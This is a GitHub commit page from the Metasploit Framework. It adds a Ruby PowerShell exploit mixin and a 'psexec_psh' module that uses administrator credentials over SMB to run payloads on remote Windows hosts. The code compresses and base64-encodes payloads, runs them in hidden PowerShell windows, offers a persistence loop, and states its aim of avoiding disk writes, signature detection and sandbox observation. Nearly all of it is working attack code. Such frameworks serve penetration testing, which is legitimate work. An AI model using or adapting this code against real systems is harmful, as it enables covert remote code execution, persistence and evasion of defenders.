Skip to content

Commit 94f8b1d

Browse files
committed
Land rapid7#2073, psexec_psh
2 parents 529471e + f81369a commit 94f8b1d

File tree

3 files changed

+291
-6
lines changed

3 files changed

+291
-6
lines changed

lib/msf/core/exploit/powershell.rb

Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
# -*- coding: binary -*-
2+
require 'zlib'
3+
4+
module Msf
5+
module Exploit::Powershell
6+
7+
def initialize(info = {})
8+
super
9+
register_options(
10+
[
11+
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
12+
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
13+
OptBool.new('RUN_WOW64', [
14+
true,
15+
'Execute powershell in 32bit compatibility mode, payloads need native arch',
16+
false
17+
]),
18+
], self.class)
19+
end
20+
21+
#
22+
# Insert substitutions into the powershell script
23+
#
24+
def make_subs(script, subs)
25+
if ::File.file?(script)
26+
script = ::File.read(script)
27+
end
28+
29+
subs.each do |set|
30+
script.gsub!(set[0],set[1])
31+
end
32+
if datastore['VERBOSE']
33+
print_good("Final Script: ")
34+
script.each_line {|l| print_status("\t#{l}")}
35+
end
36+
return script
37+
end
38+
39+
#
40+
# Return an array of substitutions for use in make_subs
41+
#
42+
def process_subs(subs)
43+
return [] if subs.nil? or subs.empty?
44+
new_subs = []
45+
subs.split(';').each do |set|
46+
new_subs << set.split(',', 2)
47+
end
48+
return new_subs
49+
end
50+
51+
#
52+
# Read in a powershell script stored in +script+
53+
#
54+
def read_script(script)
55+
script_in = ''
56+
begin
57+
# Open script file for reading
58+
fd = ::File.new(script, 'r')
59+
while (line = fd.gets)
60+
script_in << line
61+
end
62+
63+
# Close open file
64+
fd.close()
65+
rescue Errno::ENAMETOOLONG, Errno::ENOENT
66+
# Treat script as a... script
67+
script_in = script
68+
end
69+
return script_in
70+
end
71+
72+
73+
#
74+
# Return a zlib compressed powershell script
75+
#
76+
def compress_script(script_in, eof = nil)
77+
78+
# Compress using the Deflate algorithm
79+
compressed_stream = ::Zlib::Deflate.deflate(script_in,
80+
::Zlib::BEST_COMPRESSION)
81+
82+
# Base64 encode the compressed file contents
83+
encoded_stream = Rex::Text.encode_base64(compressed_stream)
84+
85+
# Build the powershell expression
86+
# Decode base64 encoded command and create a stream object
87+
psh_expression = "$stream = New-Object IO.MemoryStream(,"
88+
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
89+
# Read & delete the first two bytes due to incompatibility with MS
90+
psh_expression << "$stream.ReadByte()|Out-Null;"
91+
psh_expression << "$stream.ReadByte()|Out-Null;"
92+
# Uncompress and invoke the expression (execute)
93+
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
94+
psh_expression << "$(New-Object IO.Compression.DeflateStream("
95+
psh_expression << "$stream,"
96+
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
97+
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
98+
99+
# If eof is set, add a marker to signify end of script output
100+
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
101+
102+
# Convert expression to unicode
103+
unicode_expression = Rex::Text.to_unicode(psh_expression)
104+
105+
# Base64 encode the unicode expression
106+
encoded_expression = Rex::Text.encode_base64(unicode_expression)
107+
108+
return encoded_expression
109+
end
110+
111+
#
112+
# Runs powershell in hidden window raising interactive proc msg
113+
#
114+
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
115+
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
116+
117+
ps_wrapper = <<EOS
118+
$si = New-Object System.Diagnostics.ProcessStartInfo
119+
$si.FileName = "#{ps_bin}"
120+
$si.Arguments = '#{ps_args}'
121+
$si.UseShellExecute = $false
122+
$si.RedirectStandardOutput = $true
123+
$si.WindowStyle = 'Hidden'
124+
$si.CreateNoWindow = $True
125+
$p = [System.Diagnostics.Process]::Start($si)
126+
EOS
127+
128+
return ps_wrapper
129+
end
130+
131+
#
132+
# Creates cmd script to execute psh payload
133+
#
134+
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
135+
# Allow powershell 1.0 format
136+
if old_psh
137+
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
138+
else
139+
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
140+
end
141+
# Run our payload in a while loop
142+
if datastore['PERSIST']
143+
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
144+
sleep_time = rand(5)+5
145+
psh_payload = "function #{fun_name}{#{psh_payload}};"
146+
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
147+
end
148+
# Determine appropriate architecture
149+
ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
150+
# Wrap in hidden runtime
151+
psh_payload = run_hidden_psh(psh_payload,ps_bin)
152+
# Convert to base64 for -encodedcommand execution
153+
command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n"
154+
end
155+
156+
#
157+
# Convert binary to byte array, read from file if able
158+
#
159+
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
160+
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
161+
code = code.unpack('C*')
162+
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
163+
lines = []
164+
1.upto(code.length-1) do |byte|
165+
if(byte % 10 == 0)
166+
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
167+
else
168+
lines.push ",0x#{code[byte].to_s(16)}"
169+
end
170+
end
171+
psh << lines.join("") + "\r\n"
172+
end
173+
174+
175+
176+
end
177+
end
178+

lib/msf/core/exploit/smb/psexec.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,7 @@ def psexec(command)
6868
scm_handle = dcerpc.last_response.stub_data[0,20]
6969
end
7070
rescue ::Exception => e
71-
print_error("#{peer} - Error: #{e}")
71+
print_error("#{peer} - Error getting scm handle: #{e}")
7272
return false
7373
end
7474
servicename = Rex::Text.rand_text_alpha(11)
@@ -98,7 +98,7 @@ def psexec(command)
9898
svc_status = dcerpc.last_response.stub_data[24,4]
9999
end
100100
rescue ::Exception => e
101-
print_error("#{peer} - Error: #{e}")
101+
print_error("#{peer} - Error creating service: #{e}")
102102
return false
103103
end
104104
vprint_status("#{peer} - Closing service handle...")
@@ -114,7 +114,7 @@ def psexec(command)
114114
svc_handle = dcerpc.last_response.stub_data[0,20]
115115
end
116116
rescue ::Exception => e
117-
print_error("#{peer} - Error: #{e}")
117+
print_error("#{peer} - Error opening service: #{e}")
118118
return false
119119
end
120120
vprint_status("#{peer} - Starting the service...")
@@ -124,7 +124,7 @@ def psexec(command)
124124
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
125125
end
126126
rescue ::Exception => e
127-
print_error("#{peer} - Error: #{e}")
127+
print_error("#{peer} - Error starting service: #{e}")
128128
return false
129129
end
130130
vprint_status("#{peer} - Removing the service...")
@@ -134,13 +134,13 @@ def psexec(command)
134134
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
135135
end
136136
rescue ::Exception => e
137-
print_error("#{peer} - Error: #{e}")
137+
print_error("#{peer} - Error removing service: #{e}")
138138
end
139139
vprint_status("#{peer} - Closing service handle...")
140140
begin
141141
response = dcerpc.call(0x0, svc_handle)
142142
rescue ::Exception => e
143-
print_error("#{peer} - Error: #{e}")
143+
print_error("#{peer} - Error closing service handle: #{e}")
144144
end
145145
select(nil, nil, nil, 1.0)
146146
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
# -*- coding: binary -*-
2+
3+
##
4+
# This file is part of the Metasploit Framework and may be subject to
5+
# redistribution and commercial restrictions. Please see the Metasploit
6+
# web site for more information on licensing and terms of use.
7+
# http://metasploit.com/
8+
##
9+
10+
require 'msf/core'
11+
require 'msf/core/exploit/powershell'
12+
13+
class Metasploit3 < Msf::Exploit::Remote
14+
Rank = ManualRanking
15+
16+
# Exploit mixins should be called first
17+
include Msf::Exploit::Remote::SMB::Psexec
18+
include Msf::Exploit::Powershell
19+
20+
def initialize(info = {})
21+
super(update_info(info,
22+
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution',
23+
'Description' => %q{
24+
This module uses a valid administrator username and password to execute a powershell
25+
payload using a similar technique to the "psexec" utility provided by SysInternals. The
26+
payload is encoded in base64 and executed from the commandline using the -encodedcommand
27+
flag. Using this method, the payload is never written to disk, and given that each payload
28+
is unique, is less prone to signature based detection. Since executing shellcode in .NET
29+
requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
30+
must match that of the payload. Lastly, a persist option is provided to execute the payload
31+
in a while loop in order to maintain a form of persistence. In the event of a sandbox
32+
observing PSH execution, a delay and other obfuscation may be added to avoid detection.
33+
In order to avoid interactive process notifications for the current user, the psh payload has
34+
been reduced in size and wrapped in a powershell invocation which hides the process entirely.
35+
},
36+
37+
'Author' => [
38+
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
39+
'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
40+
],
41+
42+
'License' => MSF_LICENSE,
43+
'Privileged' => true,
44+
'DefaultOptions' =>
45+
{
46+
'WfsDelay' => 10,
47+
'EXITFUNC' => 'thread'
48+
},
49+
'Payload' =>
50+
{
51+
'Space' => 8192,
52+
'DisableNops' => true,
53+
'StackAdjustment' => -3500
54+
},
55+
'Platform' => 'win',
56+
'Targets' =>
57+
[
58+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
59+
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
60+
],
61+
'DefaultTarget' => 0,
62+
'DisclosureDate' => 'Jan 01 1999',
63+
'References' => [
64+
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
65+
[ 'OSVDB', '3106'],
66+
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
67+
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
68+
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
69+
]
70+
))
71+
end
72+
73+
def exploit
74+
command = cmd_psh_payload(payload.encoded)
75+
76+
if datastore['PERSIST'] and not datastore['DisablePayloadHandler']
77+
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.")
78+
end
79+
80+
if datastore['RUN_WOW64'] and target_arch.first == "x86_64"
81+
fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled")
82+
end
83+
84+
# Try and authenticate with given credentials
85+
if connect
86+
begin
87+
smb_login
88+
rescue StandardError => autherror
89+
disconnect
90+
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
91+
end
92+
# Execute the powershell command
93+
print_status("#{peer} - Executing the payload...")
94+
begin
95+
return psexec(command)
96+
rescue StandardError => exec_command_error
97+
disconnect
98+
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
99+
end
100+
end
101+
end
102+
103+
def peer
104+
return "#{rhost}:#{rport}"
105+
end
106+
end
107+

0 commit comments

Comments
 (0)